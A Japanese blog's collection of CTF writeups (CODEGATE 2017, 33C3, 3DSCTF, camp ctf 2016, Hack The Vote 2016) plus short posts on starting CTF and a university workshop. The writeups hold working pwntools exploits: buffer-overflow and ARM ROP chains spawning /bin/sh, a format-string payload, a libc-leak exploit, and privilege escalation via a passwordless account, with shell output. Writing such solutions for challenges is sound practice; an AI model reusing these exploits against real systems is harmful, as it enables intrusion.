CODEGATE 2017 CTF EasyCrack 101
はじめに
101個のバイナリファイルのkeyを当てるだけ。
angr使って解いた。
チーメメンバがcurl使って自動送信するコードを書いてくれたので、途中からは、そのコードを使って分担してた。
そのコードは載せてない。
solve.py
keyはコマンドライン引数にて指定するので、コマンドライン引数を解析対象にするようにしている。
keyの長さは、最初適当に120とかにしていた。その後は解析結果を眺めながら、この程度が妥当だろうという長さに設定し直した。
import angr import claripy from pwn import * import sys for i in range(1, 102): fname = "prob"+str(i) binf = open(fname, 'rb').read() addr_main = u32(binf[0x5b0:0x5b4]) addr_succeeded = addr_main+0x50 addr_failed = addr_main+0x5c #key_length = 120 key_length = 50 p = angr.Project(fname) arg1 = claripy.BVS('arg1', key_length*8) com = "./" + fname initial_state = p.factory.entry_state(args=[com, arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"}) for b in arg1.chop(key_length): initial_state.add_constraints(b != 0) pg = p.factory.path_group(initial_state, immutable=False) e = pg.explore(find=addr_succeeded, avoid=addr_failed) for path in pg.found: key = path.state.se.any_str(arg1) print fname, repr(key)
1ファイルあたり15秒程度で解析できていた。
ASCIIのprintableな文字がkeyなので、それを送信していた。
% python solve.py prob1 'T}gTRvNZAK_Exv^vqpDwCW\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob2 '}hGafk~acCtypkaEoi||f}tzsr\x00\x00\x00\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob3 'ELFT[^MYLINQMI_FQFYKOOZ^U\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' ...
33C3 CTF writeup
はじめに
TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。
The 0x90s called (pwn 150)
Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。
% nc 78.46.224.70 2323 Welcome to Linux 0.99pl12. slack login: challenge Password:challenge Linux 0.99pl12. (Posix). No mail. slack:~$ uname -a Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586
/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。
cat /etc/passwd root::0:0::/:/bin/sh daemon:x:1:1::/etc: bin:x:2:2::/bin: adm:x:4:4::/: uucp::5:5::/usr/uucp: sync::255:0:::/bin/sync anonymous:*:403:1::/home/ftp:/bin/sh ftp:*:404:1::/home/ftp:/bin/sh challenge:*:405:1::/home/challenge: slack:~$ su sync -c 'id' uid=255(sync) gid=0(root)
プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.
su sync -c 'cat /dev/hda' (skip) 33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3 (skip)
rec
flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。
Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。
from pwn import * def m(u32): return -(0xffffffff - u32 + 1) def send_cmd(num): repr(conn.recvuntil('> ')) conn.sendline(str(num)) print '< ', num return def send_addr100(addr): for i in range(100): conn.sendline(str(addr)) host = '78.46.224.74' port = 4127 # myabe address so must dump libc libc_stdout_offset = 0x1b3d60 libc_system_offset = 0x3b020 libc_binsh_offset = 0x15cbcf libc_system_offset = 0x0003a8b0 conn = remote(host, port) # leak some addreses send_cmd(1) conn.recvuntil('Your note: ') recv = conn.recv(16) print repr(recv) stack_addr = u32(recv[0:4]) pie_base = u32(recv[4:8]) - 0x6fb libc_base = u32(recv[8:12]) - libc_stdout_offset print '[+] pie_base =', hex(pie_base) print '[+] libc_base =', hex(libc_base) send_cmd(2) conn.recvuntil(': ') conn.sendline('S') send_func100(m(libc_base + libc_system_offset)) conn.recvuntil(': ') conn.sendline(str(m(libc_base + libc_binsh_offset))) conn.sendline('.') send_cmd(5) conn.sendline('0') conn.interactive()
% python exploit.py [+] Opening connection to 78.46.224.74 on port 4127: Done < 1 '\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV' [+] pie_base = 0x565a1000 [+] libc_base = 0xf7526000 < 2 < 5 [*] Switching to interactive mode $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ ls bin boot challenge dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old $ cat /challenge/flag 33C3_L0rd_Nikon_would_l3t_u_1n
おわりに
任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。
The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup
はじめに
ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。
Get started (pwn 100)
BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。
from pwn import * get_flag = 0x080489a0 conn = remote('54.175.35.248', 8005) payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += 'AAAA' payload += p32(0x308cd64f) payload += p32(0x195719d1) conn.sendline(payload) print conn.recv(1024)
not the same
BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn = process('not_the_same') conn.sendline(payload) print conn.recv(1024)
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn.sendline(payload) print conn.recv(1024) ### 3DS{b0f_pr4_c0m3c4r_n3}
Please no (pwn300)
BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
逆アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。
from pwn import * host = '209.190.1.131' port = 9003 file_name = 'please-no' mflag_addr = 0x8048690 text_addr = 0x8048650 flag_addr = 0x8048590 pop3_ret_addr = 0x8048789 ''' mflag 8048690: 83 ec 1c sub esp,0x1c 8048693: 81 7c 24 20 41 0c 0b cmp DWORD PTR [esp+0x20],0x1b0b0c41 804869a: 1b 804869b: 75 2d jne 80486ca <fgetc@plt+0x26a> 804869d: 81 7c 24 24 4e 37 13 cmp DWORD PTR [esp+0x24],0xae13374e 80486a4: ae 80486a5: 75 23 jne 80486ca <fgetc@plt+0x26a> 80486a7: c7 44 24 16 6d 66 6c mov DWORD PTR [esp+0x16],0x616c666d 80486ae: 61 80486af: 66 c7 44 24 1a 67 00 mov WORD PTR [esp+0x1a],0x67 # .text 8048650: 83 ec 1c sub esp,0x1c 8048653: 81 7c 24 20 37 13 b0 cmp DWORD PTR [esp+0x20],0xb0b01337 804865a: b0 804865b: 75 23 jne 8048680 <fgetc@plt+0x220> 804865d: c7 44 24 16 2e 74 65 mov DWORD PTR [esp+0x16],0x7865742e 8048664: 78 8048665: 66 c7 44 24 1a 74 00 mov WORD PTR [esp+0x1a],0x74 ''' elf = ELF(file_name) if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) payload = 'A' * 20 payload += p32(mflag_addr) payload += p32(pop3_ret_addr) payload += p32(0x1b0b0c41) payload += p32(0xae13374e) payload += 'AAAA' payload += p32(text_addr) payload += p32(pr) payload += p32(0xb0b01337) payload += 'AAAA' payload += 'AAAA' payload += p32(flag_addr) payload += p32(0x8048420) conn.sendline(payload) print repr(conn.recv(1024)) conn.close() ### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
echoindiapapa (pwn 400)
FSB。
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。
from pwn import * host = '209.190.1.131' port = 9005 string_addr = 0x601080 main_addr = 0x400750 if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) conn.recvuntil('name?') payload = '%384c%10$n' conn.sendline(payload) print repr(conn.recv(1024)) print repr(conn.recv(1024)) ### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}
おわりに
息抜きちょうどよかった。
CTFをやり始めたきっかけとかいろいろ
はじめに
この記事は、CTF Advent Calendar 2016 - Adventarの20日目の記事です。
空いている日を埋めようとしている作成者を見かけたので、便乗して書きました。
中身は、まったく技術的なことがないポエムです。
CTFを知ったきっかけ
地元の有志による勉強会で、「セキュリティを勉強しよう!それにはCTFがいいよ!」みたいなLTを聞いたのがキッカケだったと思います。
その時点まで、セキュリティとかまったく興味ありませんでした。
しかし、ただ興味を持っただけで、実際にCTFを始めたのはもっと後になってからでした。
はじめてのCTF(?)
「CTFって楽しいなぁ、やってみよう」と思ったのは、mixiさん主催のscrap challengeがキッカケでした。
詳細は、リンク先をみてください。大雑把にイベントの内容を説明しますと、mixiのクローンサイトに脆弱性を埋め込み、そこを突いて情報を抜き出し競い合いといった感じです。
SQL Injectionを駆使した問題で、うまくいった時にめちゃくちゃ脳汁が出たのを覚えています。
この時の快感が忘れられずに、CTFにのめり込んで行きました。
それから1年ぐらい
CTFtime見ながら、良さげなオンラインCTFを探して、ソロで参加してました。
オンラインCTFがやってないときは、常設CTFの問題解いてました。
だいたい、以下の常設CTFやってました。
それと、たまに大学サークルチームでSECCONの地方大会に出たりしてました。
そういう世界観のA&Dとか、1秒で切り替わるバイナリとか楽しかったです。
勉強するときは、有名なinaz2さんのももいろテクノロジー読んだりしてました。
inaz2.hatenablog.com
ytokuさんのPwn勉強会の資料とか読んで実践してました。
ytoku/Slides/Pwn勉強会 - 電気通信大学MMA
どなたのサイトか分からないのですが、以下のサイトも体系的にまとまっていたので、参考にさせていただきました。
CTF Pwn - A painter and a black cat
これから
色々なジャンルの問題に手を出してみて、他よりも良く出来たのがpwnだったので、pwn精進していきたいです。
heapがよくわからんので、glibcのソースコード読んだり、小崎さんのmalloc動画を見て仕組みを理解したいなーといった感じです。
The 67th Yokohama kernel reading party - YouTube
あとは、bataさんのリスト埋めて経験積んでいきたい。(medium easyまでしか解けてない...)
pwn challenges list - Pastebin.com
最近、チームに入れてもらったので貢献できるようになりたいなーと。
おわりに
だから何なんだ、という内容でした。
最後まで読んでいただきありがとうございました。
MCC CTF workshopのはなし
はじめに
この記事は、MCC Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目の記事は、Cherry氏のE科鬼実験体験談 | MCC Blogです。
こんばんわ、S科B4のhamaです。役職などありませんが、CTFの方にちょくちょく参加してます。
今回は、タイトル通りにCTF workshopについて書きたいと思います。
概要
9月7日、9日に開催されました。
7日は、shift_crops先生によるexploit(pwn)とbinaryの講義。
9日は、monjisan先生によるWebの講義と、icchy先生によるForensicの講義でした。
binary
binaryは、与えられた実行形式ファイルを解析してフラグを得るというのが目標となるジャンルで、講義ではアセンブラの読み方など初歩からやっていました。
shift_crops先生は、ctf4bという入門者向けの講座の先生も務めている大先生なので、わかりやすく楽しい講義でした。
exploit
脆弱性のあるバイナリが10個ほど与えられました。
脆弱性を突きシェルを奪うのがゴールで、黙々と攻撃してました。
取り扱った脆弱性は、FSB(Format String Bug)と、BOF(Buffer OverFllow)でした。
あとはShellcodeに関するものもありました。
shift_crops大先生は、pwnの大先生なので細かいテクニックなども聞けて楽しかったです。
web
すいません、よく聞いてなかったのか覚えてません。
MCCのslackの#ctf_workshopに、スライドが上がってるので確認してください。
monjisan先生は、javascriptの大先生なのでwebに強いです。
forensic
icchy先生によるforensicの講義です。
forensicとは何かから始まり、この間開催されたTWCTFの問題を解説を交えながら解きました。
camp ctf 2016 writeup -Mercury編-
はじめに
この記事はCTF Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目はelliptic_shiho氏の古典暗号 - 一致指数を用いた多表式暗号の解読 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですでした。
今年のセキュリティキャンプ2016全国大会で開催されたCTFで出題された問題のwriteupです。
ジャンル名はMercuryで、権限昇格系の問題です。問題名は分かりません。
初期調査
leetは、ARMの32bit ELFであり、ソースコードも付いており親切設計。
カナリアがないので、この段階でBOFかなーと予想を立てる。
$ ls -l -rw-r----- 1 root mercury2 41 Jul 27 16:09 flag -rwxr-s--- 1 mercury1 mercury2 7320 Jul 27 16:09 leet -rw-r----- 1 mercury2 mercury1 924 Aug 8 16:41 leet.c $ file ./leet ./leet: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x4736edbcdaab4e66ac3cac3d675331310f714dc3, not stripped $ checksec --file ./leet RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./leet
ソースコード
bufとoutputのサイズは512byteとなっており、fgetsもサイズ分しか受け取らないようになっている。
leet関数では、対応する文字を別の文字へと置き換える処理を行っていおり、一部の文字を使えばBOFを引き起こすことができる。
outputはmain関数のローカル変数となっており、またカナリアがないので、main関数のリターンアドレスを書き換えて制御を奪う方針でいく。
init関数内でsysytemを呼んでおり、これも使えそう。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #define BUF_SIZE 512 char buf[BUF_SIZE]; __attribute__((constructor)) void init(void){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("date"); } void leet(char*, char*); void main(void){ char output[BUF_SIZE]; fprintf(stdout, "InputText : "); fgets(buf, sizeof(buf), stdin); leet(output, buf); fprintf(stdout, "LeetSpeak : %s\n", output); } void leet(char *dst, char *src){ int i,j; char dict_src[] = {'a','e','i','o','q','s','t','H','K'}; char *dict_dst[] = {"4","3","1","0","9","5","7","|-|","|<"}; assert(sizeof(dict_src)==sizeof(dict_dst)/sizeof(char*)); for(i=0; src[i]^'\n'&&i<BUF_SIZE; i++){ for(j=0; j<sizeof(dict_src); j++) if(src[i]==dict_src[j]){ int sz = strlen(dict_dst[j]); memcpy(dst, dict_dst[j], sz); dst+=sz; goto done; } *(dst++) = src[i]; done: continue; } *dst='\0'; }
exploit
x86では関数の引数をスタックを用いて渡しているが、ARMではレジスタを用いて引数を設定するので、ROPなどでレジスタに引数を設定する必要がある。
使えそうなgadgetを探すと、tomoriセクションにnao関数が存在している。
spで指している値をr0に設定しており、使えそう。
また、bufの先頭アドレスは0x20a2cであり、指定する際に改行文字が含まれるので適当に工夫する。
212バイト先が0x20b00であり、そこから/bin/shを配置した。
Disassembly of section tomori: 0001083c <nao>: 1083c: e52db004 push {fp} ; (str fp, [sp, #-4]!) 10840: e28db000 add fp, sp, #0 10844: e8bd8001 pop {r0, pc} 10848: e24bd000 sub sp, fp, #0 1084c: e49db004 pop {fp} ; (ldr fp, [sp], #4) 10850: e12fff1e bx lr
最終的なexploitは、こちら
import struct from subprocess import Popen, PIPE buf_size = 512 main_addr = 0x000105d8 nao_addr = 0x0001083c system_addr = 0x105c4 buf_addr = 0x20a2c pudding_size = 212 payload = 'H' * (buf_size / 3) payload += 'AA' payload += struct.pack('<I', buf_addr + pudding_size) payload += struct.pack('<I', nao_addr) payload += struct.pack('<I', system_addr) payload += 'B' * (pudding_size - len(payload)) payload += '/bin/sh\x00' payload += '\n' p = Popen(['./leet'], stdin=PIPE, stdout=PIPE) print p.stdout.readline() # system('date')の出力 print p.stdout.read(len('InputText : ')) p.stdin.write(payload) print '[+] payload = ', repr(payload) print p.stdout.readline() p.stdin.write('exec /bin/sh <&2 >&2\n') p.wait()
シェルが起動するので、あとは読むだけ。
mercury1@ctf-server:/home/mercury2 $ python /home/pi/exploit.py Mon 21 Nov 21:10:53 JST 2016 InputText : [+] payload = 'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHAA\x01\x0b\x02\x00<\x08\x01\x00\xc4\x05\x01\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBB/bin/sh\x00\n' LeetSpeak : |-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-|AA $ id uid=1002(mercury1) gid=1002(mercury1) egid=1003(mercury2) groups=1003(mercury2),1000(pi),1002(mercury1) $ cat flag FLAG{r37urn_0r13n73d_pr0gr4mm1ng_0n_ARM} $ exit
さいごに
ARMのpwnは初めてのような気がするので、結構面白かった。他のARMの問題もやってみたけど、あまり聞かないので知っている方いましたら教えてください。
作問者からROPで行けると聞いていたのだが、これROPか?といった気持ち(広義の意味ではReterun Orientedか...)。
あと、ARMのexploit環境でオススメのツールとかあったら教えてください。解析を素のgdbでやっていたので相当キツかった。
次の24日目の記事はinza2氏のThe Malloc Maleficarum (Bugtraq 2005)です!
参考にした記事など
Hack The Vote 2016 writeup
はじめに
TokyoWesternsで参加して、結果は2401ptsの19位だった。
自分が関わった分は、150pts分だったので、そのwriteupを書いていく。
TOPKEK (Crypto 50)
見た感じランレングスっぽいなーと思い、適当にやってみたら当たっていた。
% cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP
def count_exp(c): result = 0 for i in c: if i == '!': result = result + 1 return result cry = '''KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!''' # print cry.split(" ") list_cry = cry.split(" ") result = '' for c in list_cry: if 'KEK' in c: result += '0' * count_exp(c) if 'TOP' in c: result += '1' * count_exp(c) print '[+] result =', result print '[+] result =', hex(int(result, 2)) flag = hex(int(result, 2)) flag = flag[2:-1] print flag print flag.decode('hex') % python solver.py [+] result = 0110011001101100011000010110011101111011010101000011000001101111001100000110111100110000011011110011000001101111001100000101000001011111010111110101111101011111010111110101111100110001011011010101111101101000001101000101011000110001011011100100011101011111010001100111010101001110010111110111001000110001011001110100100001110100010111110110111000110000010101110101111100110100010100100011001101011111011110010011000001110101010111110110100000110100011101100011000101101110011001110101111101100110011101010110111001011111010111110101111101011111010111110101111101001011001100110100101100100001001000010010000101111101 [+] result = 0x666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217dL 666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217d flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}
IRS (Exploitation 100)
メニューの1番で新規登録を行い、3番で登録した情報の編集が行えた。確認の"y/n"メッセージの後にgets()で入力を取っているので、ここでBOFが起きる。
canaryもないので、EIPを書き換え可能となっている。
Trumpさんのパスワードがflagとなっており、そのアドレスは固定となっている。
リターンアドレスをputs()を呼び出すように、引数にflagをセットすればいい。
競技中、flagのアドレスを間違えており、1時間ぐらい悩んでいた。
メンバーに相談したところ、サクッとフラグを取ってくれて有難かった。
from pwn import * bufsize = 21 puts_addr = 0x80484f8 flag_addr = 0x8048ac2 host = 'irs.pwn.republican' port = 4127 conn = remote(host, port) #conn = process('./irs') conn.recvuntil('Donald Trump') conn.sendline('1') conn.recvuntil('Enter the name: ') conn.sendline('A') conn.recvuntil('Enter the password: ') conn.sendline('B') conn.recvuntil('Enter the income: ') conn.sendline('1') conn.recvuntil('Enter the deductions: ') conn.sendline('2') conn.recvuntil('1 - A') conn.sendline('3') conn.recvuntil('Enter the name of the file to edit: ') conn.sendline('A') conn.recvuntil('Enter the password: ') conn.sendline('B') conn.recvuntil('Enter the new income: ') conn.sendline('3') conn.recvuntil('Enter the new deductible: ') conn.sendline('4') print conn.recvuntil('y/n') payload = 'A' * (bufsize) payload += 'dead' payload += p32(puts_addr) payload += 'beaf' payload += p32(flag_addr) print '[+] payload =', payload conn.sendline(payload) conn.recvuntil('Your changes have been recorded!') recv = conn.recv(1024) recv = conn.recv(1024) print recv
% python exploit.py [+] Opening connection to irs.pwn.republican on port 4127: Done y/n [+] payload = AAAAAAAAAAAAAAAAAAAAAdead?beaf\x0 flag?@\x04{c4n?_1_g?@\x0c3t_a?@\x10_r3f?@\x14und}\x8bE??@d\xff\x9frN\x8bE??@h\xff\x9frN\x8bE??E?\x83? ?E?P?,?\xff\xff\x83?\xa1 \xb0\x0\x83?Pj\x03\x8dE?P???\xff\xff\x83?\x83?j2j [*] Closed connection to irs.pwn.republican port 4127
フォーマットに合うように整形して
flag{c4n_1_get_a_r3fund}
FOX Voting Simulator (Exploitation 300)
この問題は、取り組んでいたが競技中に解けなかったもの。
NWO_memberVote関数のダンプまではしたが、よく読まずに問題ないと判断して詰んでいた。
他のwriteupを見るとheap overflowが起こせたようで、action関数のアドレスを書き換えてone-gadget /bin/sh RCEを呼べばシェルを取れたようだった。
おわりに
精進します。もっとpwnできるようになりたい。